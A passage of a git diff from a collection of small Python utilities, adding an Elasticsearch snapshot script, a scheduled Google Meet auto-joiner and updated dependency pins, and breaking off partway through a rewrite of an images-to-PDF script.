documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshot-restore.html) If a snapshot is already in progress it will sleep for 5 minutes and try again. +- requires the requests library to be installed +- The default behavior is to get a list of snapshots for localhost and the backups snapshot repository +- snapshots are created with at least a minimum of meta data: {taken_by: username, taken_because: 'Snapshot updated for: not specified} +- This script assumes indices are named with dates in the form indexname-YYYY.MM.DD so it can use the period to select indices +- `--testing` flag allows a comma separated list of indices to be supplied. In this case, the period will be used only for the snapshot name. +- optional args and default values: +``` +$ python3 elastic-snapshot.py [optional args] + (-a|--action=list) snapshot action to perform (list, create, restore) + (-h|--hostname=localhost:9200) + (-i test* |--index=test*) index name pattern to work on + (-l backups|--location=backups) snapshot repository name + (-n|--noop) do not actually perform the API call but print it to stdout + (-p|--period=2020.01) period for snapshot, unless --testing every index matching pattern indexname*-* is implied + (-r|--reason='not specified') snapshot reason for inclusion in metadata + (-t|--testing=False) allows specifying multiple index names in --index + (-v|--verbose=False) get verbose output to std out +``` +- examples: +``` +$ python3 elastic-snapshot.py +# returns a list of the snapshots from localhost:9200 + +$ python3 elastic-snapshot.py --action create --index filebeat* --period 2020.08 +# creates a snapshot named filebeat-2020.08- that includes all indices that match the pattern filebeat*-2020.08* + +$ python3 elastic-snapshot.py -a create -i metricbeat* -p 2020.08 -l my_snapshots -v +# creates a snapshot named metricbeat-2020.08- in the snapshot repository named my_snapshots. This snapshot will contain any index that matches the pattern metricbeat*-2020.08. Verbose output will be printed to standard output +``` \ No newline at end of file diff --git a/elastic-snapshot/elastic-snapshot.py b/elastic-snapshot/elastic-snapshot.py new file mode 100644 index 00000000..00f8c4d2 --- /dev/null +++ b/elastic-snapshot/elastic-snapshot.py @@ -0,0 +1,137 @@ +#!/usr/bin/python3 +''' elastic-snapshot.py elasticsearch snapshot utility +default action is to get a list of snapshots for localhost on port 9200 and the backups location +optional args: + (-a list |--action=list) snapshot action to perform + (-H localhost:9200 |--hostname=localhost:9200) + (-i testing |--index=testing) index name to work on + (-l backups |--location=backups) location + (-n |--noop) execute script as noop, print web calls and exit. + (-p 2020.01 |--period=2020.01) period of snapshot to take, will have * appended to select additional indices + (-r|--reason=daily) snapshot reason + (-v|--verbose) increase standard output verbosity +''' +import json, os, requests, time +import datetime as dt +from getpass import getuser + + + +def get_snapshot_listing(options): + url = "http://{host}/_cat/snapshots/{sp}?v".format( + sp=options.snapshot_pool, host=options.host_name + ) + if options.noop: + return url + else: + #do the real stuff + r = requests.get(url) + if r.status_code == 200: + return r.text + else: + return "Error in making request. received {}: {}".format(r.status_code, r.text) + + +def create_snapshot(options): + ''' creates a snapshot with the specified options using this format of web API request + curl -X PUT "localhost:9200/_snapshot/my_repository/snapshot_2?wait_for_completion=true&pretty" -H 'Content-Type: application/json' -d' + { "indices": "index_1,index_2", + "ignore_unavailable": true, + "include_global_state": false, + "metadata": { + "taken_by": "user123", + "taken_because": "backup before upgrading" } } ''' + + indexname = options.index_name + period = options.period + timestamp = dt.datetime.today().strftime('%Y%m%d_%H%M') + # use special testing period for indices to snapshot if defined + if 'testing' in options and options.testing: + indices = indexname + snapshot_name = "{i}-{p}-{d}".format(i="-".join(indexname.split(',')[0].split('*')), p=period, + d=timestamp) + else: + snapshot_name = "{i}-{p}-{d}".format(i=indexname.strip('*'), p=period, + d=timestamp) + indices = "{i}-{p}*".format(i = indexname, p=period) + + url = "http://{host}/_snapshot/{sp}/{sn}".format( + sp=options.snapshot_pool, host=options.host_name, sn=snapshot_name + ) + payload = { "indices": indices, + "ignore_unavailable": "true", + "include_global_state": "false", + "metadata": { + "taken_by": getuser(), + "taken_because": "Snapshot updated {d} for: {r}".format(d=timestamp, + r=options.reason) + } } + print("create snapshot {} with payload: {}".format(snapshot_name, payload)) + if options.noop: + print("Would have called url: {url}\n with payload: {pl}".format(url=url, pl=payload)) + return 200 + else: + sleep_count = 0 + while check_snapshot_inprogress(options): + sleep_count += 1 + if options.verbose: + print("A snapshot is running currently, script has slept {} times so far".format( + sleep_count + )) + time.sleep(300) + if sleep_count > 20: + print("Snapshot still running, exceeded 10 sleep cycles") + exit(2) + snap_result = requests.put(url, json=payload) + if snap_result.status_code == 200 and options.verbose: + print("Requested: {}".format(snap_result.json())) + else: + print("Error encountered {code}: {response}".format(code=snap_result.status_code, + response=snap_result.json())) + return snap_result.status_code + + +def restore_snapshot(options): + print("TODO: restore snapshot with options: {}".format(options)) + + +def check_snapshot_inprogress(options): + snapshot_list = get_snapshot_listing(options) + for line in [line for line in snapshot_list.split('\n')]: + if 'IN_PROGRESS' in line.split(): + if options.verbose: + print("snapshot in progress: {}".format(line)) + return 'IN_PROGRESS' in snapshot_list + + +if __name__ == '__main__': + import argparse + + parser = argparse.ArgumentParser(description='''Command line utility to take snapshots of elasticsearch indices. + Snapshot is created or updated.''') + parser.add_argument('--action', '-a', action='store', dest='action', default='list', + help="what snapshot action to perform: list, create") + parser.add_argument('--host', '-H', action='store', dest='host_name', default='localhost:9200', + help="elasticsearch host") + parser.add_argument('--index', '-i', action='store', dest='index_name', default='test*', + help="Name of index to snapshot") + parser.add_argument('--location', '-l', action='store', dest='snapshot_pool', default='backups', + help="Name of snapshot location") + parser.add_argument('--noop', '-n', action='store_true', default=False, help="just print expceted call") + parser.add_argument('--period', '-p', action='store', dest='period', default='2020.01', + help="period of snapshots to take") + parser.add_argument('--reason', '-r', action='store', dest='reason', + default='not specified', help="text description about why snapshot was taken") + parser.add_argument('--testing','-t', action='store_true', default=False, + help="allows multiple indices to be listed for --index instead of default - for testing") + parser.add_argument('--verbose', '-v', action='store_true', default=False, help="Show verbose output for script") + options = parser.parse_args() + + action = options.action + + if action == 'list': + print(get_snapshot_listing(options)) + elif action == 'create': + create_snapshot(options) + else: + print("{action} is not a valid option.\nTry -h|--help for assistance".format(action=action)) diff --git a/elastic-snapshot/requirements.txt b/elastic-snapshot/requirements.txt new file mode 100644 index 00000000..ab0195e5 --- /dev/null +++ b/elastic-snapshot/requirements.txt @@ -0,0 +1,5 @@ +certifi==2023.7.22 +chardet==3.0.4 +idna==2.10 +requests==2.31.0 +urllib3==1.26.18 diff --git a/file-encrypt-decrypt/Pipfile.lock b/file-encrypt-decrypt/Pipfile.lock index 73b04109..69d8273f 100644 --- a/file-encrypt-decrypt/Pipfile.lock +++ b/file-encrypt-decrypt/Pipfile.lock @@ -16,130 +16,164 @@ ] }, "default": { - "asn1crypto": { - "hashes": [ - "sha256:d02bf8ea1b964a5ff04ac7891fe3a39150045d1e5e4fe99273ba677d11b92a04", - "sha256:f822954b90c4c44f002e2cd46d636ab630f1fe4df22c816a82b66505c404eb2a" - ], - "version": "==1.0.0" - }, "atomicwrites": { "hashes": [ - "sha256:03472c30eb2c5d1ba9227e4c2ca66ab8287fbfbbda3888aa93dc2e28fc6811b4", - "sha256:75a9445bac02d8d058d5e1fe689654ba5a6556a1dfd8ce6ec55a0ed79866cfa6" + "sha256:81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11" ], - "version": "==1.3.0" + "version": "==1.4.1" }, "attrs": { "hashes": [ - "sha256:ec20e7a4825331c1b5ebf261d111e16fa9612c1f7a5e1f884f12bd53a664dfd2", - "sha256:f913492e1663d3c36f502e5e9ba6cd13cf19d7fab50aa13239e420fef95e1396" + "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04", + "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015" ], - "version": "==19.2.0" + "markers": "python_version >= '3.7'", + "version": "==23.1.0" }, "cffi": { "hashes": [ - "sha256:041c81822e9f84b1d9c401182e174996f0bae9991f33725d059b771744290774", - "sha256:046ef9a22f5d3eed06334d01b1e836977eeef500d9b78e9ef693f9380ad0b83d", - "sha256:066bc4c7895c91812eff46f4b1c285220947d4aa46fa0a2651ff85f2afae9c90", - "sha256:066c7ff148ae33040c01058662d6752fd73fbc8e64787229ea8498c7d7f4041b", - "sha256:2444d0c61f03dcd26dbf7600cf64354376ee579acad77aef459e34efcb438c63", - "sha256:300832850b8f7967e278870c5d51e3819b9aad8f0a2c8dbe39ab11f119237f45", - "sha256:34c77afe85b6b9e967bd8154e3855e847b70ca42043db6ad17f26899a3df1b25", - "sha256:46de5fa00f7ac09f020729148ff632819649b3e05a007d286242c4882f7b1dc3", - "sha256:4aa8ee7ba27c472d429b980c51e714a24f47ca296d53f4d7868075b175866f4b", - "sha256:4d0004eb4351e35ed950c14c11e734182591465a33e960a4ab5e8d4f04d72647", - "sha256:4e3d3f31a1e202b0f5a35ba3bc4eb41e2fc2b11c1eff38b362de710bcffb5016", - "sha256:50bec6d35e6b1aaeb17f7c4e2b9374ebf95a8975d57863546fa83e8d31bdb8c4", - "sha256:55cad9a6df1e2a1d62063f79d0881a414a906a6962bc160ac968cc03ed3efcfb", - "sha256:5662ad4e4e84f1eaa8efce5da695c5d2e229c563f9d5ce5b0113f71321bcf753", - "sha256:59b4dc008f98fc6ee2bb4fd7fc786a8d70000d058c2bbe2698275bc53a8d3fa7", - "sha256:73e1ffefe05e4ccd7bcea61af76f36077b914f92b76f95ccf00b0c1b9186f3f9", - "sha256:a1f0fd46eba2d71ce1589f7e50a9e2ffaeb739fb2c11e8192aa2b45d5f6cc41f", - "sha256:a2e85dc204556657661051ff4bab75a84e968669765c8a2cd425918699c3d0e8", - "sha256:a5457d47dfff24882a21492e5815f891c0ca35fefae8aa742c6c263dac16ef1f", - "sha256:a8dccd61d52a8dae4a825cdbb7735da530179fea472903eb871a5513b5abbfdc", - "sha256:ae61af521ed676cf16ae94f30fe202781a38d7178b6b4ab622e4eec8cefaff42", - "sha256:b012a5edb48288f77a63dba0840c92d0504aa215612da4541b7b42d849bc83a3", - "sha256:d2c5cfa536227f57f97c92ac30c8109688ace8fa4ac086d19d0af47d134e2909", - "sha256:d42b5796e20aacc9d15e66befb7a345454eef794fdb0737d1af593447c6c8f45", - "sha256:dee54f5d30d775f525894d67b1495625dd9322945e7fee00731952e0368ff42d", - "sha256:e070535507bd6aa07124258171be2ee8dfc19119c28ca94c9dfb7efd23564512", - "sha256:e1ff2748c84d97b065cc95429814cdba39bcbd77c9c85c89344b317dc0d9cbff", - "sha256:ed851c75d1e0e043cbf5ca9a8e1b13c4c90f3fbd863dacb01c0808e2b5204201" - ], - "version": "==1.12.3" + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "version": "==1.15.1" }, "cryptography": { "hashes": [ - "sha256:24b61e5fcb506424d3ec4e18bca995833839bf13c59fc43e530e488f28d46b8c", - "sha256:25dd1581a183e9e7a806fe0543f485103232f940fcfc301db65e630512cce643", - "sha256:3452bba7c21c69f2df772762be0066c7ed5dc65df494a1d53a58b683a83e1216", - "sha256:41a0be220dd1ed9e998f5891948306eb8c812b512dc398e5a01846d855050799", - "sha256:5751d8a11b956fbfa314f6553d186b94aa70fdb03d8a4d4f1c82dcacf0cbe28a", - "sha256:5f61c7d749048fa6e3322258b4263463bfccefecb0dd731b6561cb617a1d9bb9", - "sha256:72e24c521fa2106f19623a3851e9f89ddfdeb9ac63871c7643790f872a305dfc", - "sha256:7b97ae6ef5cba2e3bb14256625423413d5ce8d1abb91d4f29b6d1a081da765f8", - "sha256:961e886d8a3590fd2c723cf07be14e2a91cf53c25f02435c04d39e90780e3b53", - "sha256:96d8473848e984184b6728e2c9d391482008646276c3ff084a1bd89e15ff53a1", - "sha256:ae536da50c7ad1e002c3eee101871d93abdc90d9c5f651818450a0d3af718609", - "sha256:b0db0cecf396033abb4a93c95d1602f268b3a68bb0a9cc06a7cff587bb9a7292", - "sha256:cfee9164954c186b191b91d4193989ca994703b2fff406f71cf454a2d3c7327e", - "sha256:e6347742ac8f35ded4a46ff835c60e68c22a536a8ae5c4422966d06946b6d4c6", - "sha256:f27d93f0139a3c056172ebb5d4f9056e770fdf0206c2f422ff2ebbad142e09ed", - "sha256:f57b76e46a58b63d1c6375017f4564a28f19a5ca912691fd2e4261b3414b618d" + "sha256:0d09fb5356f975974dbcb595ad2d178305e5050656affb7890a1583f5e02a306", + "sha256:23c2d778cf829f7d0ae180600b17e9fceea3c2ef8b31a99e3c694cbbf3a24b84", + "sha256:3fb248989b6363906827284cd20cca63bb1a757e0a2864d4c1682a985e3dca47", + "sha256:41d7aa7cdfded09b3d73a47f429c298e80796c8e825ddfadc84c8a7f12df212d", + "sha256:42cb413e01a5d36da9929baa9d70ca90d90b969269e5a12d39c1e0d475010116", + "sha256:4c2f0d35703d61002a2bbdcf15548ebb701cfdd83cdc12471d2bae80878a4207", + "sha256:4fd871184321100fb400d759ad0cddddf284c4b696568204d281c902fc7b0d81", + "sha256:5259cb659aa43005eb55a0e4ff2c825ca111a0da1814202c64d28a985d33b087", + "sha256:57a51b89f954f216a81c9d057bf1a24e2f36e764a1ca9a501a6964eb4a6800dd", + "sha256:652627a055cb52a84f8c448185922241dd5217443ca194d5739b44612c5e6507", + "sha256:67e120e9a577c64fe1f611e53b30b3e69744e5910ff3b6e97e935aeb96005858", + "sha256:6af1c6387c531cd364b72c28daa29232162010d952ceb7e5ca8e2827526aceae", + "sha256:6d192741113ef5e30d89dcb5b956ef4e1578f304708701b8b73d38e3e1461f34", + "sha256:7efe8041897fe7a50863e51b77789b657a133c75c3b094e51b5e4b5cec7bf906", + "sha256:84537453d57f55a50a5b6835622ee405816999a7113267739a1b4581f83535bd", + "sha256:8f09daa483aedea50d249ef98ed500569841d6498aa9c9f4b0531b9964658922", + "sha256:95dd7f261bb76948b52a5330ba5202b91a26fbac13ad0e9fc8a3ac04752058c7", + "sha256:a74fbcdb2a0d46fe00504f571a2a540532f4c188e6ccf26f1f178480117b33c4", + "sha256:a983e441a00a9d57a4d7c91b3116a37ae602907a7618b882c8013b5762e80574", + "sha256:ab8de0d091acbf778f74286f4989cf3d1528336af1b59f3e5d2ebca8b5fe49e1", + "sha256:aeb57c421b34af8f9fe830e1955bf493a86a7996cc1338fe41b30047d16e962c", + "sha256:ce785cf81a7bdade534297ef9e490ddff800d956625020ab2ec2780a556c313e", + "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de" ], "index": "pypi", - "version": "==2.7" + "version": "==41.0.3" }, "importlib-metadata": { "hashes": [ - "sha256:aa18d7378b00b40847790e7c27e11673d7fed219354109d0e7b9e5b25dc3ad26", - "sha256:d5f18a79777f3aa179c145737780282e27b508fc8fd688cb17c7a813e8bd39af" + "sha256:1aaf550d4f73e5d6783e7acb77aec43d49da8017410afae93822cc9cca98c4d4", + "sha256:cb52082e659e97afc5dac71e79de97d8681de3aa07ff18578330904a9d18e5b5" ], "markers": "python_version < '3.8'", - "version": "==0.23" + "version": "==6.7.0" }, "more-itertools": { "hashes": [ - "sha256:409cd48d4db7052af495b09dec721011634af3753ae1ef92d2b32f73a745f832", - "sha256:92b8c4b06dac4f0611c0729b2f2ede52b2e1bac1ab48f089c7ddc12e26bb60c4" + "sha256:cabaa341ad0389ea83c17a94566a53ae4c9d07349861ecb14dc6d0345cf9ac5d", + "sha256:d2bc7f02446e86a68911e58ded76d6561eea00cddfb2a91e7019bbb586c799f3" ], - "version": "==7.2.0" + "markers": "python_version >= '3.7'", + "version": "==9.1.0" }, "packaging": { "hashes": [ - "sha256:28b924174df7a2fa32c1953825ff29c61e2f5e082343165438812f00d3a7fc47", - "sha256:d9551545c6d761f3def1677baf08ab2a3ca17c56879e70fecba2fc4dde4ed108" + "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61", + "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f" ], - "version": "==19.2" + "markers": "python_version >= '3.7'", + "version": "==23.1" }, "pluggy": { "hashes": [ - "sha256:0db4b7601aae1d35b4a033282da476845aa19185c1e6964b25cf324b5e4ec3e6", - "sha256:fa5fa1622fa6dd5c030e9cad086fa19ef6a0cf6d7a2d12318e10cb49d6d68f34" + "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", + "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" ], - "version": "==0.13.0" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.13.1" }, "py": { "hashes": [ - "sha256:64f65755aee5b381cea27766a3a147c3f15b9b6b9ac88676de66ba2ae36793fa", - "sha256:dc639b046a6e2cff5bbe40194ad65936d6ba360b52b3c3fe1d08a82dd50b5e53" + "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719", + "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378" ], - "version": "==1.8.0" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.11.0" }, "pycparser": { "hashes": [ - "sha256:a988718abfad80b6b157acce7bf130a30876d27603738ac39f140993246b25b3" + "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", + "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" ], - "version": "==2.19" - }, - "pyparsing": { - "hashes": [ - "sha256:6f98a7b9397e206d78cc01df10131398f1c8b8510a2f4d97d9abd82e1aacdd80", - "sha256:d9338df12903bbf5d65a0e4e87c2161968b10d2e489652bb47001d82a9b028b4" - ], - "version": "==2.4.2" + "version": "==2.21" }, "pytest": { "hashes": [ @@ -149,26 +183,28 @@ "index": "pypi", "version": "==5.2.0" }, - "six": { + "typing-extensions": { "hashes": [ - "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c", - "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73" + "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36", + "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2" ], - "version": "==1.12.0" + "markers": "python_version < '3.8'", + "version": "==4.7.1" }, "wcwidth": { "hashes": [ - "sha256:3df37372226d6e63e1b1e1eda15c594bca98a22d33a23832a90998faa96bc65e", - "sha256:f4ebe71925af7b40a864553f761ed559b43544f8f71746c2d756c7fe788ade7c" + "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e", + "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0" ], - "version": "==0.1.7" + "version": "==0.2.6" }, "zipp": { "hashes": [ - "sha256:3718b1cbcd963c7d4c5511a8240812904164b7f381b647143a89d3b98f9bcd8e", - "sha256:f06903e9f1f43b12d371004b4ac7b06ab39a44adc747266928ae6debfa7b3335" + "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b", + "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556" ], - "version": "==0.6.0" + "markers": "python_version >= '3.7'", + "version": "==3.15.0" } }, "develop": {} diff --git a/google_meet_joiner/README.md b/google_meet_joiner/README.md new file mode 100644 index 00000000..7c576e2e --- /dev/null +++ b/google_meet_joiner/README.md @@ -0,0 +1,58 @@ + +# Automated Google Meet Joiner + +An automated google meet joiner the auto-joins meetings according to schedule. + + + + +## Setup + +1. To run this project, download the files and run the following command to install all the necessary files. + +```bash +pip install -r requirements.txt +``` + +2. Then open the `meeting_ids.txt` file and add your meeting ids for the day in order on each line. + +E.g. +```bash +meeting_id_1 +meeting_id_2 +meeting_id_3 +``` + +3. Then open the `meeting_times.txt` file and add your meeting time (in the 24-hour format, e.g. 16:00) for the day in order on each line. + +E.g. +```bash +16:00 +17:30 +18:50 +``` +4. The run the python file either normally or using the `pythonw` version to avoid a dialog box. + +```bash +pythonw main.py +``` + + +## Additional Setup + +5. To add more than the default 3 meetings setup by the program, simply add your meeting ids and time to the respective file and copy the following line and paste it in the program for as many ids that you add. + +```bash +schedule.every().day.at(time[x]).do(joinGoogleMeet(ids[x])) +``` +- Remember to replace the 'x' with the number on which the meeting id and time is located. + +## License + +[MIT](https://choosealicense.com/licenses/mit/) + + +## Authors + +- [@JohanSanSebastian](https://www.github.com/johansansebastian) + diff --git a/google_meet_joiner/assets/finalJoinMeet.png b/google_meet_joiner/assets/finalJoinMeet.png new file mode 100644 index 00000000..e7f1b3d2 Binary files /dev/null and b/google_meet_joiner/assets/finalJoinMeet.png differ diff --git a/google_meet_joiner/main.py b/google_meet_joiner/main.py new file mode 100644 index 00000000..6473eb23 --- /dev/null +++ b/google_meet_joiner/main.py @@ -0,0 +1,37 @@ +import pyautogui +import webbrowser +import schedule +import time + +def joinGoogleMeet(meeting_id): + webbrowser.open_new_tab( + f"https://meet.google.com/{meeting_id}".replace("'", "")) + time.sleep(10) + + pyautogui.click() + pyautogui.hotkey('ctrl', 'd') + time.sleep(1) + pyautogui.hotkey('ctrl', 'e') + + finaljoinBTN = pyautogui.locateCenterOnScreen( + "assets/finalJoinMeet.png") + pyautogui.moveTo(finaljoinBTN) + pyautogui.click() + +if __name__ == '__main__': + # meeting_id = input("Meeting ID: ") + # joinGoogleMeet(meeting_id) + + with open('meeting_ids.txt', 'r') as f: + ids = f.readlines() + with open('meeting_times.txt', 'r') as j: + time = j.readlines() + + # You can add more number of scheduled meetings using the line below, + # replacing 'x' with the value of the meeting id and time in their respective times + + # schedule.every().day.at(time[x]).do(joinGoogleMeet(ids[x])) + + schedule.every().day.at(time[0]).do(joinGoogleMeet(ids[0])) + schedule.every().day.at(time[1]).do(joinGoogleMeet(ids[1])) + schedule.every().day.at(time[2]).do(joinGoogleMeet(ids[2])) diff --git a/google_meet_joiner/meeting_ids.txt b/google_meet_joiner/meeting_ids.txt new file mode 100644 index 00000000..d255bbc9 --- /dev/null +++ b/google_meet_joiner/meeting_ids.txt @@ -0,0 +1,3 @@ +meeting_id_1 +meeting_id_2 +meeting_id_3 diff --git a/google_meet_joiner/meeting_times.txt b/google_meet_joiner/meeting_times.txt new file mode 100644 index 00000000..89c38fd3 --- /dev/null +++ b/google_meet_joiner/meeting_times.txt @@ -0,0 +1,3 @@ +meeting_time_1 +meeting_time_2 +meeting_time_3 diff --git a/google_meet_joiner/requirements.txt b/google_meet_joiner/requirements.txt new file mode 100644 index 00000000..5565d514 --- /dev/null +++ b/google_meet_joiner/requirements.txt @@ -0,0 +1,2 @@ +PyAutoGUI==0.9.53 +schedule==1.1.0 \ No newline at end of file diff --git a/imageWatermarker/requirements.txt b/imageWatermarker/requirements.txt index 334e961c..636135b1 100644 --- a/imageWatermarker/requirements.txt +++ b/imageWatermarker/requirements.txt @@ -1 +1 @@ -Pillow==7.2.0 +Pillow==10.2.0 diff --git a/images2pdf/imges2pdf.py b/images2pdf/imges2pdf.py index 0dd8d7b6..1bf1d9e5 100644 --- a/images2pdf/imges2pdf.py +++ b/images2pdf/imges2pdf.py @@ -1,50 +1,27 @@ - -### img2pdf #### -import os +import PyPDF2 +from os import path import sys -from fpdf import FPDF -from PIL import Image -import glob - +def File_existance_checker(filePath): + if path.isfile(filePath): + return filePath + else: + print("[-] Provide a valid File") + sys.exit(1) +pdf_stored_path=input("Enter the name of you pdf file (please use backslash when typing in directory path):") -images_path = raw_input("Enter the path of the folder containing images : ") -images =images_path+"/*.*" +textFile_stored_path=path.join(path.dirname(pdf_stored_path),path.basename(pdf_stored_path).replace(".pdf",".txt")) +pdf_stored_path=File_existance_checker(pdf_stored_path) -assert os.path.exists(images_path), "this diretory doesn't exist, "+str(images_path) -f = os.chdir(images_path) -print("Hooray we found your directory!") 